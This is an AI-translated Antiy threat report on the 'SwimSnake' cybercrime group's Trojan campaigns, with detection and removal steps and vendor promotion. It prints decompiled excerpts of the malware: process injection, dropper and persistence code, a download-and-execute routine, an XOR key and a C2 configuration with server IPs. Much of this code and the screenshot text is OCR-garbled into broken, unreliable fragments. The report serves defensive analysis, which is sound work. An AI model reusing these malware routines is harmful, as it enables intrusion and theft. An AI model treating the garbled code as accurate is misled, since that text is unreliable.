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The original report is in Chinese, and this version is an Al-translated edition.

First published time: April 23, 2025

1 Overview

The "SwimSnake" cybercriminal group (also known as "Silver Fox", "Valley Thief", "UTG-Q-1000", etc.) has
been active since the second half of 2022. It has launched a large number of attacks against domestic users in an
attempt to steal secrets and defraud, causing certain losses to companies and individuals. The cybercriminal group
mainly spreads malicious files through instant messaging software (WeChat, Enterprise WeChat, etc. ), search engine
SEO promotion, phishing emails, etc. The malicious files it spreads have many variants, the means of avoiding killing

are frequently changed, and the industries involved in the attack targets are wide-ranging.

Antiy continues to track the "SwimSnake" cybercriminal group and publishes multiple reports. Recently, two
types of relatively active malicious samples have continued to spread: the first type is malicious programs disguised
as documents. Such malicious programs are mostly developed using the Qt library. Some malicious programs are
formed by adding malicious code to the open source software code, and finally execute the backdoor file by releasing
the "white and black" component. The second type is a malicious MSI installer disguised as an application software,
which contains a normal application software installer and dozens of other normal files. The attacker hides the "white

and black" component in it and finally executes the online module and login module.

The "SwimSnake'" cybercriminal group is still frequently updating malware and AV evasion methods ,
and because the source code of the remote control Trojan and attack components used by the cybercriminal group is
circulating on the Internet, there are more malicious variants, and a large number of users are attacked and implanted
with remote control Trojans every day . Antiy CERT recommends that users download and install applications from
the official website and avoid clicking on executable programs, scripts, documents and other files with unknown

security to avoid losses caused by "SwimSnake" attacks.
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Users can download and use the "SwimSnake' special investigation tool and Antiy System Security
Kernel Analysis Tool ( ATool ) from the Antiy Vertical Response Platform (https://vs2.antiy.cn) to investigate

and remove the "SwimSnake'" Trojan.

2 Sample Analysis

2.1 List of Malicious Programs Disguised as Documents

Table 2-1Related sample file names

Sample file name

The first batch of information list in April 2025 pdf.exe

2025 Provincial Bureau 315 Gala Enterprise Exposure List.exe

The second batch of information disclosure in April 2025 pdf.exe

The first batch of public documents in April 2025 pdf.exe

2025 Job Stability Subsidy List.exe

Regarding the Qingming Festival, holiday arrangements, please check it yourself.exe

Auditor List.exe
2.1.1 Malicious Programs Developed Through the QT Library

Recently, this type of malicious program has been developed using the Qt library. After execution, it will perform
multiple layers of anti-debugging detection and execute a large amount of invalid code to hinder analysis. The
program will then execute Shellcode in memory, decrypt it to obtain a DLL file originally named "InjectFile.dll", and
execute its "run" export function.

£

Characteristics

TimeDateStamp ... EEEEEEEE | 21060207 14:25:

MajorVersion

MinorVersion Q000
. 0011be52 InjectFile.dll
. DODDDDD1

Figure 2-1InjectFile.dll file information
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This type of DLL file will judge the current process and then inject it into the memory of the target process for

execution. Currently, the target processes of this type of DLL file include svchost.exe, spoolsv.exe, explorer.exe,

winlogon.exe, etc.

OLECHAR *__ fastcall runfunsigned int *Src)
1
WCHAR Filename[264]; // [rsp+2@h] [rbp-228h] BYREF
memset(Filename, @, @x288u);
GetModuleFileNameW (@, Filename, @x184u};
if ({ 'wcsstr(Filename, L"svchost.exe") )
{
if ( IsUserfnAdmin(} )
1
sub_18@8815B8(5rc); I OEM

ExitProcess(@);

sub_l13@e.28Be((_ inte4)Filename);
ExitProcess(@);

}

return sub_188@01816(5rc); /0 BREmE A - s RS

}

Figure 2-2The main logic of the "run" export function of this type of DLL file

Then, the "white and black" component is released in the specified path, which usually consists of an executable

program, a malicious DLL file, and a BIN file containing Shellcode content.
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ilel = CreateFileW(FileNams, @x4D0DOBOBU, @, ©, 2u, @, @);

ell;

if ( FilelW == (HANDLE)-1LL )
GetLastError();

i

else

if ( lwriteFile(Filew, qword_18@@BCB38, 8x3A338u, NumberOfBytesuritten, @) )// EXERFE
GetLastError();
CloseHandle(vls);

Sleep(@x64u);

memset(v35, @, @x283u);

wsprintfl(v3s, L"$s\\Es", v3 + 1874, v3 + 1224);
NumberOfBytesWritten[@] = @;

vl6 = CreateFileW(v35, @x4o000000u, @, @, 2u, @, @);

El
== (HANDLE)-1LL )

GetLastError();

}

else

if ( !WriteFile(vls, gqword 18BB46E6S, Bx46888u, NumberOfByteslritten, @) )// DLL{F
GetLastError();
CloseHandle(vl7);

}
Sleep(@x64u);
memset(vi6, @, @x283u);
Wlv3E, L"%s\\¥s", v3 + 1874, v3 + 1274);
NumberOfBytesWritten[@] = @;
v1lE = CreatefFileW(v36, exJopoec0ou, @, @, 2u, @, @);
w19 v1lB;
if ( v18 == (HANDLE)-1LL )

GetLastError();

b

else

if ( !WriteFile(vls, w8, @x855CCu, NumberOfBytesWritten, @) )// BINIZ{¥
GetLastError();
CloseHandle(v19);

} ——
Sleep(@xeau); oy = | i

Figure 2-3Release the "white and black' component
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Create a scheduled task for the released "white and black" component through the COM interface. The scheduled

task name is " .NET Framework NGEN v4.0.30318 ".
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+A6LL)) (0 38);

y;// WRco@D

QMORD) ) *vai;

if ( (*(&n=
return @;
-0
if ( (*(int festcsll ** intos
return @;
seaset{fovarg, 9, sizeof(; 2)); RN
variantInit(& 1)3 :
: o
: 2);
- 8z
. =D

Jvas « BBLL))(vES, )i
“)eis o+ 184LL) (-39, Vi
39+ 16LL))(vaE);
)(*(_QwDRD *)wiz + 72LL))(vae, &vil) ¢ @)
intod *))(*(_QuORD *)ull + BBLL))(¥31, B, B33} < B )
JNET Framework NGEN w80.30318
\Wacroso i\ Windows
SYSTEM

NET Framework NGEN v4.0.30318

e IR

Figure 2-4Creating a scheduled task for the "white and black" component through the COM interface

The EXE program in the "white and black" component is used to load and execute a malicious DLL file. The

malicious DLL file reads the contents of the BIN file in the same path, decrypts it, and writes the payload into the

memory for execution.

a{e] = vui;
15{1] = 8vr12g
#3{2] = &uto7)
sub_1880e88C0(

. 108y
i tcall **

i+ 8), L°.bin")s 3

char_t *))sub_388015C5@(( intes *)

3 J bin¥H
= {QUORD *)"({_QWORD *)AL[0] + 1);
if (180 ovTE *)vis + 28) )
{
do
sub_188005568(( intsd) IO ¢ t64)vaL, v15[2));
1§ = (_QUOED *)%vi5;
3 free(is);
whille ( I*((_0Te “Juis + 25) );
i - [e];
)
= sub_150014F80( 02, virtuslall ' B
- inthd | fastcall **)( QWOSD WOHD inted, Int04) Jsub 18G01SCI((  intod )25, (int *)(vi® + 16));
i 1+ 32) = (*o0)(0, **( QOND **)lol + 24), 12283, 4);
3 . 3 *)e((_oomo *)vsz[e] ¢ 1);
if ( 1%((_E¥TE ")u32 # 25) )
{
(-]
sub_100096560( ( rthd)vil, ( nt6s) y VA[2D;
2= ( :".~ )*et2;
id_free(vin)y;
)
srile ( Ee((_BYTE *)ua2 + 25) )
L= vazfeg;
}
33 _free(uii); )
if (1% uonD **)(al + 32) )
s SHE

Figure 2-5 Read the contents of the bin file and write it into memory for execution
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The payload is a DLL file originally named "Server64.dll". It is a backdoor file used by the "SwimSnake"
cybercriminal gang. It has multiple functions such as network communication, file downloading, remote control, and

stealing secrets.

if { vE != BxFEBS5 )

if ( v == Bx1leea )
return (unsigned int)CreateThread(®, @, sub_l8e@367AB, v, @, @);
goto LABEL_52;

memset(Str, @, @x388u);
memset(Buffer, @, sizeof(Buffer));
LODWORD (TokenHandle) = @;

uFlags = @;
memset(v37, @, sizeof(v37));
memset(v3Z, @, 24);
{(void (_fastcall *)(LPVOID *, OWORD *, _ int64))ve[4])(vé, v37, 56);
((void (_ fastcall *)(LPVOID *, woid **, _ int64))ve[4])(ve, &TockenHandle, 4);
result = ((__inte4 (_ fastcall *)(LPVOID *, UINT *, _ inte4))ve[4])(ve, &uFlags, 4);
if ( uFlags )}
1

((void (_ fastcall *)(LPVOID *, wchar_t *))ve[4])(ve, S5tr);

if { l'eetWindowsDirectoryW(Buffer, @x64u) )

GetLastError();

IstrcatW(Buffer, L"\\temp");

v35 = wesrchr(Str, @x2Fu);

lstrcatW(Buffer, v35);

result = URLDownloadToFilew(®, Str, Buffer, @, @);

if ( Iresult )
return (unsigned int)ShellExecuteW(®, L"open™, Buffer, @, @, (INT)TckenHandle);
}

: ]
return result;

Figure 2-6Download and execute functions
2.1.2  Malicious Programs Created by Tampering with Open Source Software Code
Recently, it has been discovered that attackers have modified the code of open source software to create

malicious programs. Such initial malicious samples are usually compressed files containing a malicious executable

program and a file with the suffix ".dII".

%] sad.dll RAERTE 1,746 KB
T EEARESexe iz =) Rt

Figure 2-7Malicious file composition

The malicious executable program is created by the attacker adding malicious functions to the source code of

the open source software. The file with the suffix ".dll" is an encrypted binary file.
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Figure 2-8Comparison of malicious code (left) and open source code (right)

The malicious code reads the contents of the encrypted binary file, decrypts it to obtain the payload, and releases

the same "white and black" component as in 2.1.1 in the specified path.

(“scid.dil™, OxB0000800, lu, 0, Su, xSVu, B);

»_140023040(

Figure 2-9Read the encrypted binary file content and decrypt it
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Sample file name

The attacker hides the "white and black" components (uc.exe, UCore.dll, Ucore3.cpy , update.cab) in the MSI

installer, which contains the normal application software installer and dozens of other normal files. The attacker then

executes the normal application software installer after the user executes it, thereby confusing the user.

% NewCabs.exe 2029/47% 1921
wnins 000 sxe 2025734 §¢

'u:.u- 2016/374 1339

NLogdll

= UCoredll 2005/4/% 191

& Newtansoftjsondll
| VararaPlrvoke Kernal32.d1I 202571421
VanaraPlrvoke.Shared.dil 20251721 1228
© Google.Protobuf.di
o MicrosoftWind2.TaskScheduler.di 202501721 124
o NordUpdateService exe 022
© UpdaterWindowsService.dil 2004/1/21 1248

[

UCore3cpy

| unins000.dat N02A/3/4 1647
| System.Diagnostics. DisgnosticSource..  2025/1/21

Vanara Coredll

© System.Memory.dil

£ update.cab IS4/ )

Vanara Plrwoke. lpHpapdil
? Vanara Plrvoke W2 32.d1 i g

| System Numencs Vectors.dll 2024/1/21 1248
* NordSecurityLiberabon,05.df

¢ MicrosoftExtensions. Dependencyinje...
| Systemn Configuration ConfigurationM,
NardSecurity Grpe NamedPipes.dl

% NordSecurity Commurscation ipc.Cor..
12 Bugsnagdil 029121

\ NordSecurity CommunicationUpdate..  2025/1/21
. Grpe.CoreApidll

& Microsoft Extensions, Options.dil 202 21 1247
5 Mcrosof Edensions LoggingAbstra..  2029/1/21 1247

Microsoft.Extensions. Dependencyinje..,
! Microsoft. Extensions.Loogina.dl| R

Figure 2-10Malicious components hidden in the MSI installer

The MSI installer releases the U core3.cpy file to C:\ProgramData\l11UCore3.cpy. After the "white and black"

component is executed, the "run" function in UCore.dll is called to create a scheduled task for the released "white

and black" component through the COM interface.
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(] MicrosofttdgelUpdateTaskMachine Royals  EE#iz SEREPEEM

€ >

= MEE BF 2+ @8 HECEREEA)

P
SIS | LTHEEESEIIEENEr. SESENEE | £ BiE SSTTEEEE.
=E FEHEE
BiERE cmd jc start " "C\Users\k\AppData\RoamingyMancyag\King of WPS v1.1.1\uc.exe" ’ |

Figure 2-11Creating a scheduled task

Then read the 11UCore3.cpy file content and use the specified key to xor decrypt it to get a DLL file.

hFile = (HANDLE)w17(v15, exSeeeeees, 1, @, 3, 128, @);// C:\ProgramData‘\llUCore3.cpy
if ( hFile != (HANDLE)-1 )

Block = (LPVOID}operator new[](@x1888808u);

if { Block )
if ( ReadFile(hFile, Block, @x188888u, &NumberOfBytesRead, @) )
i
_IAT start_ (hFile);
w37 = Bv35;
std::_ cxxll::basic_string<char,std::char_traits<char:,std::allecator<char>»::basic_string<std::allocator<char::(
"mysecret”,
(int)&v35);
std::_ new_allocator<char>::~_new_allocator(&s35);
*( DWORD *)&v36[1] = v36;
std::_ cxxll::basic_string<char,std::char_traits<char»,std::allocator<char>»::basic_string<std::allocator<char>>(
"key”, /f BREER mysecretkey
(int)v3e);
std::_ new_allocator<char>::~_ new_allocator(v3&);

std::operator+<char>(vi3, v2s, v24);

src = (void *)jb2QzB8HQBlg52iBUVe((int)Block, @x188088u, (int)vi3);// xorfiE

1pfn = (WNDENUMPROC)((int (__ stdcall *)(_DWORD, int, int, int))v43)(@, 0x108008, 4006, 64);

memmove(lpfn, Src, @x10808eu); Y, ey

if ( Block ) o B F *
operator delete[](Elock);

Figure 2-12XOR decryption of 11UCore3.cpy file

The DLL file will read the contents of the update.cab file and perform RC4 decryption on it to obtain the final

payload.
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Figure 2-13RC4 decryption of the update.cab file to obtain the final payload

The original name of the payload file is "Online Module.dll ", which is a functional plug-in in the WinOs remote
control Trojan. This module will parse the hard-coded C2 server, function and other configuration information, and
connect back to the C2 server to obtain the payload file, which is usually the "login module" of the WinOs remote

control Trojan .
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if { !byte_ 10810994 )
{

byte 10910994 = 1;
_wesrey(agObeLkaKsILdaL ) ; ) BEESNERS
menset{8Src, @, Bx12204);
sub_10005068(L™pl:", Source, 8); \
sub_108@5D8(L"01:", word 18G1C8FC, 08);
’.Jb_‘.m)D‘.‘-a(L‘ q, (ATT)RMFU_IWICQ.‘E);
sub_108@3068(L" word_18Q1C93C, 0);
sub_leeestse(L” word_1801C834, 0);
sub_100@5060(L" 9, (11t)8dword_10R1CE75);
sub_lepaspse(L” word_18@1C087C, 8);
sub_108@5068(L " word_1861C074, 8);
sub_leeesise(L” 8, (int)8cword_1001CDBE);
sub_100@5D60(L" word_18@1C06C, 8);
:::—:m:$§t1 : ::dalfgéc?:;"'é) |p1:52.128.225.126| 01 :5555 | £1:1|p2:52.129.225.126] 02 : 6666 ¢
sub_108@SDSB(L bb:", &word 1891CESE, 0); 2:11p3:52.128,225.128|03:5555|t3:1 |dd:1]cl-1| F: 9
sub_100@5060(L" Sword_1BRICEFC, @); i\ |bb:1.0]b2:2025. 3.10|jp:-albh:0]11:8]dl:1]sh:8]k]1:8|bd:0!
sub_1eeesoee(L” (int)Runk_1ee1cFEa);
sub_10205068(L" (int)Bunk_1001CF64);
sub_leeaspse(L” {int)8unk_1001CFES);
sub_l1eeespea(L” (int)8unk_1001CFEC);
sub_ieeesose(L” (int)8dword_1001CF70);

(

(

(

sub_10085066(L " 1t )8unk_1861CF74);

sub_leeasbpse(L” int)8cword_1001CF76);

sub_100@SDEB(L 0d:", @, (int)8unk 1091CF7C);
- - 3;
#yEsW(HKEY_CURRENT USER, L"Console”, @, @x28@1du, Rphk t) )
yValueluwW(ohhli=sule, L"IpDate”, 0, &Type, @, & ata);
» BxA )
peszet(aG0balkesslidel, 8, &x7D8u);
HegQueryValuety L 1, "IpDate™, @, &fyp=, (LPEVTL)aBDbOLkOHsILAOL, Bcul ¥
sub_leeeshed(L” ,» Source, 89);
sub_10005068(L" word_1001CAFC, B);
sub_1@085060(L7t1:", 8, (int)Rdword_1091C938);

sub_I@0es0se(L p2:", word_1801C93C, 8);
sub_180espee(L” word_10@1C33A, @);
sub_1089e5062( ", 8, (int)adword_1031CBE7E);

sub_ 10085068 ( , word_1001C87C, @);
sub_189e5068(L"0l:", word_18@1C07A, 8);
sub_1608S068(L"t3:", 8, (Int)Rdword_1801C088); ey
) =5

Figure 2-140nline module

3 Use Tools to Detect and Deal with the ""SwimSnake" Trojan

Users can download and use the "SwimSnake" special investigation tool and Antiy System Security Kernel
Analysis Tool on the Antiy Vertical Response Platform (https://vs2.antiy.cn) to investigate and remove the

"SwimSnake" Trojan.

The "SwimSnake" special inspection tool can be used to inspect the loaders dropped by the "SwimSnake"

cybercriminal group during attack activities and the remote control Trojans loaded into the memory .

Antiy System Security Kernel Analysis Tool ( ATool for short) is a deep analysis tool for Windows systems for
threat detection and threat analysts. It can effectively detect potential malicious programs such as secret-stealing
Trojans, backdoors and hacker tools in the operating system and assist professionals in manual disposal. It has the
functions of effective detection of known threats, timely discovery of unknown threats, and one-click disposal of

stubborn infections.
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Figure 3-1Vertical Response Platform

3.1 Use the "SwimSnake'" Special Troubleshooting Tool to Troubleshoot the '"SwimSnake"

Trojan

Since the attack payloads used by the "SwimSnake" cybercriminal group are iterated quickly and the AV evasion
technology is continuously updated , in order to more accurately and comprehensively eliminate the threats existing
in the victim host, customers can contact the Antiy emergency response team (cert@antiy.cn) after using special

troubleshooting tools to detect threats .

el o0 Terl | = ! x |

mul’g\mn 5 peiDI0 SariptsiR isc
WYY | ANER | AR |
Y \Users\k\Applata\Roaming\Mancydg \King of WPS vi. L. L\uc...  [PI4512]TrojanyWind2. SwimSnaka-M

LT ]| _wBe | awme | Sie | saeto]| wosi) it |

Figure 3-2 Use the ""SwimSnake" special troubleshooting tool to discover malicious processes

3.2 Use Antiy System Security Kernel Analysis Tool to Remove the '""SwimSnake" Trojan

After discovering the "SwimSnake" threat, users can download and use ATool on the Antiy Vertical Response
Platform to remove the "SwimSnake" Trojan. For example, in the "Process Management" page of ATool , right-click
the malicious process "uc.exe": first click "Locate in Windows File Manager" to locate the path where "uc.exe" is
located, then click "Terminate" to end the "uc.exe" process, and finally delete all files in the path where "uc.exe" is

located.
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Figure 3-3Using ATool to locate and terminate malicious processes
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In ATool 's "Scheduled Tasks" page, use the "Find" function to search for malicious process names, discover and

delete malicious scheduled tasks.

©Antiy All Rights Reserved. Reprint without Loss is welcome

. Page 13



—
m,"m%ke“ Cybercriminal Operations Rampant! Launch Special Inspection and Handling Immediately!

5% gamn__\ WANN _GRALane BN SeRgam
Wi cvansfelie L\ 1w/ TNus C Winde v Soctema) /o start " [
Googlolpdate BN  Geeglellpdater Tash 5 0504/ o C \Progre Filer (sd —vade —ay . [L0FKIGsaelSyate |
Y Fraseeo 25 TSI AT | Hezml/ neite € \Hndrs \Syrtemi2) Mentino¥iie  [L0LE) i anefaini ||
W Prasevs RS TASE_ACTION, 27/, ¢00 € \Windees \Systeanz| Mantinatide [l’m]\llarn-lt\li;\‘:
D BIG light = HE WEmee) o Be R TS AT . e/ 2216 C Windevslayate22\ [BAZLY] i er v |
AD M Right . MRAY RN AD M R TASK ACTION w18/ s1ae / € \Windeva\spstei2) [Lw) W e wredin §
or el war HESRAES € \PindwriSycredy Tigredioms  [cesvom Tazocea ] 8
SewtServas  WEMA  f CWindmstayatemitl ¥ [LOMEY O ey |
Verifiadrebl 0 HE Aold & € \Windrsinyntei2\ [nml\m‘a-..hm;‘
Bosnft Co BAY  OWEBRREA EHEAS: oo e p—— 4 \Pf“nlhyun!ﬂ ..f-.-.h-l m]\lh'-u-illll l,‘
Frestapd « - NS ¢ Windralayzte 2l irdic¥iay [L0%0K] Wi eraeft'd |
Frosy oy € Windessinyxteadl| /i ecpesay. (9008 ) Wi o anae 'l |
MICwiTarsl . BROY TR [/l S steet - T \rindes\apsienas\ SRTETERL, o TR o
Enfrviotub AN oo RUcoBatil bueaingiianc, C Windwataystee X\ . BIIENPRIGES  [COSTOM_YRIOGER 011 |
Syctealash an 0 ERA4E € \Wiodsee\syzteat2) sretey [exsnem_rezocex_o1] 5
TaarTarh nan = © indens\svstenaz\ on [Corom_TRTOHR 01
VaerTul-lew LAY THAESRFARESL. TSLAOTIO. . 20408/ 450 C Windwealayrtem22) TRV [SRSSION_STATE_CHAN
Ligsaxe ¥ali 325 Windoes Sters legeey.  TASEACTION. . 1813/ 153 € Windserizyztean) - = (8007 \0ti avenedii
Conmlidatsr  WIADY  MBMAERSEE Y TELATION 0504/ s LTS PR S =) YD) i o ap a0\ 04
Tploaker By HSIERR eSS v TSI ALTION. - 1w/ 25T € \Findms syt — 850301 TERRT AT
Bata Istegri s PETMANREMT TASE_ACTION 1,18/, 24mes € WWindeer Syt [wzerny i er ccede)
Duta Tatagri oY HETSRIES TASK_ACTION_ 199900/ R C Windesd\Byntem22\ CrahBerernry [CTT_TRIGHER 011
Eoembr®i . NS WeremftVinderdi. . TEIACTION . 1998735/ s € Windwea\apeten 2| (L0208 Wi e azedtin
Property Bt 325 i L I0S i g TASE_ACTION. 199923/, 5% € WindwriSycian [RATLr] o srasad iy
Imtallation WMDY ERSSEANAMNRL O DSOATION 200504/ 196344 LRUTY BREETE ) Tastall 060 [2098] Oier waed ¥
Fotifizationn MM  REAE TASEACTION_ . 195/ A € \Windres\Syrtei2) [Cwzoom_rxzodes o1
Tindschetio . REAR TASE_ACTION (L R e £ irindet\Systearz) [Cesram_Taroces o}
SpdipdateTund NS HEARET TR TASK_ACTION_ 199310/, 2R C Windms Snted\ 830 3E\ SRR AN Y
Frocexdfamecs . HFARTREFESH TASKACTION. . 2RS4/ s € \Windeo s\ Sntedt) Lrant £33 13N HETP T
B0 Wetedets NN BONERCARRS . TOL ATV 1m0/ LT C Wiadec\Tpsteansy [ L TPt
DrrteSeends . UE . NERRMSENEES TS ATIN, . 2e200/ LY C Windrea\Syrten 22t LL0GORT NG er paef 1
Eirdiagarkl A EPSENSISUIET| TASE ACTION . SedAn/ w0 € Windeve\Sycted| (9002 ) i o enedzpi
FPahwonsd = 31X SRETEREETT TASE ACTION 1999/11/ med00 © indess \Tvrieatz\ g 30 TR
D e T e oy e e = T BB e - - ] .

Figure 3-4Searching for malicious scheduled tasks by malicious process name

In addition, ATool supports reputation query of four object dimensions for executable objects, namely "Publisher
Reputation”, "Content Reputation”, "Behavior Reputation" and "Path Reputation (Location Reputation)". Clicking
the "Reputation Analysis" button above the tool can perform a cloud reputation query on the current inventory object,
thus helping users discover potential threats in the system.
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Figure 3-5Using ATool's '""Reputation Analysis" feature to discover malicious processes

4 Terminal Security Protection

4.1 Deploy Antiy IEP to Strengthen Terminal File Reception and Execution Protection

It is recommended that enterprise users deploy professional terminal security protection products, conduct real-
time detection of local new and startup files, and periodically perform virus scans within the network. Antiy
Intelligent Endpoint Protection System series products (hereinafter referred to as "IEP") rely on Antiy 's self-
developed threat detection engine and kernel-level active defense capabilities to effectively detect and kill the virus

samples discovered this time.

IEP can monitor local disks in real time, automatically detect viruses on newly added files, send alerts and handle
viruses as soon as they are discovered. In addition, Antiy AVLSDK threat detection engine supports extracting the
core part of malicious code as detection features, which can effectively deal with the deformation and derivation of
malicious code, and can also improve the effectiveness of IEP products in detecting and killing the SwimSnake variant

virus.

©Antiy All Rights Reserved. Reprint without Loss is welcome . Page 15



=

ANTIY

RIwSE

Figure 4-1When a virus is found, IEP captures it and sends an alert immediately

—
%ﬁke“ Cybercriminal Operations Rampant! Launch Special Inspection and Handling Immediately!

IEP also provides users with a unified management platform, through which administrators can centrally view

the details of threat events within the network and handle them in batches, thereby improving the efficiency of

terminal security operation and maintenance.

L= M4

L o

L2 )

ACLALIRE MRS LT e
S e e =

MIEBAL I00TI AN AATISACT I

Crgee oA VISUAL CG
428 Wansh

yje b P lan

Tame B unn dedBcnt BB A0

M e

At on s

“RAs

sSENan L2

anLn T WS W

©Antiy All Rights Reserved. Reprint without Loss is welcome

Figure 4-2Providing a unified management platform to efficiently handle threat events

. Page 16



———
ﬁ%ﬁke" Cybercriminal Operations Rampant! Launch Special Inspection and Handling Immediately!
5 1oC

90D4BA33990011A5C8A203AC236B3B8C
470C3D37A8E518BD8D728D01CFBES647
24B970B2C9D988DC74ETFI45D0866017
DA5CF5E3158057D0D7B6D6F2D17DD888
BASF5D8DF47283A34A71EB03DDE3C36B
039E9EF2E283E8341B297DA686182412
FE2D6987326CDFF72DC3AA378C1B8680
FCA4C875B3ELADSCD50D18450B08D14A
D6435074233583A7CB4A6FA2FE0IFASB
89AAE1127681E672E7D836D0DB372847
18.166.199[.]216

13.215.69 [ .]47

43.199.120[.]146

52.128.225[.]126

Appendix 1 : List of Historical Reports on the Threat of "'SwimSnake" By

Antiy

[1]. Analysis of Attack Activities That Use Fake Chinese Version of Telegram Website to Deliver Remote Control

Trojans [R/OL].(2022-10-24)

https://www.antiy.cn/research/notice&report/research report/20221024.html

[2]. Analysis of Attack Activities Using Cloud Note Platform to Deliver Remote Control Trojans [R/OL].(2023-

03-24)

https://www.antiy.cn/research/notice&report/research_report/20230324.html

[3]. Analysis of the Cybercriminal Group That Uses the Cloud Note Platform to Deliver Remote Control Trojans

[R/OL].(2023-03-30)

https://www.antiy.cn/research/notice&report/research_report/20230330.html
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Analysis of the Large-Scale Attack Activities Launched by the "SwimSnake" Cybercriminal Group Against

Domestic Users[R/OL].(2023-05-18)

https://www.antiy.cn/research/notice&report/research report/20230518.html

Analysis of Recent Phishing Attacks by the "SwimSnake" Cybercriminal Group [R/OL].(2023-07-11)

https://www.antiy.cn/research/notice&report/research report/TrojanControl Analysis.html

Analysis of the Activities of the "SwimSnake" Cybercriminal Group Using Wechat to Spread Malicious

Code[R/OL].(2023-08-22)

https://www.antiy.cn/research/notice&report/research_report/SnakeTrojans Analysis.html

Special Analysis Report on the "SwimSnake" Cybercriminal Group [R/OL].(2023-10-12)

https://www.antiy.cn/research/notice&report/research_report/SwimSnakeTrojans Analysis.html

Analysis of a New Round of Attacks by the "SwimSnake" Cybercriminal Group Against Financial Personnel

and E-Commerce Customer Service [R/OL].(2023-11-11)

https://www.antiy.cn/research/notice&report/research report/SwimSnake Analysis.html

Analysis of Recent Attacks by the "SwimSnake" Cybercriminal Group [R/OL].(2024-04-07)

https://www.antiy.cn/research/notice&report/research report/SwimSnake Analysis 202404.html

[10]. Analysis of the "SwimSnake" Cybercriminal Group Using Malicious Documents to Conduct Phishing

Attacks [R/OL].(2024-06-21)

https://www.antiy.cn/research/notice&report/research_report/SwimSnake Analysis 202406.html

[11]. Phishing Download Sites Spread the Threat of "SwimSnake", Malicious Installers Hide Remote Control

Trojans [R/OL].(2024-12-20)

https://www.antiy.cn/research/notice&report/research_report/SwimSnake Analysis 202412.html
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Appendix 2: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively responding
to security threats. Through more than 20 years of independent research and development, Antiy has developed
technological leadership in areas such as threat detection engines, advanced threat countermeasures, and large-scale

threat automation analysis.

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and other
system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container and
other system environments, providing system security capabilities including endpoint antivirus, endpoint protection
(EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc. Antiy has
established a closed-loop product system of threat countermeasures based on its threat intelligence and threat
detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats through
products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA), Attack
Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network and
information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.

Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading

security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
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detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.

Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation", "White Elephant”, "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.
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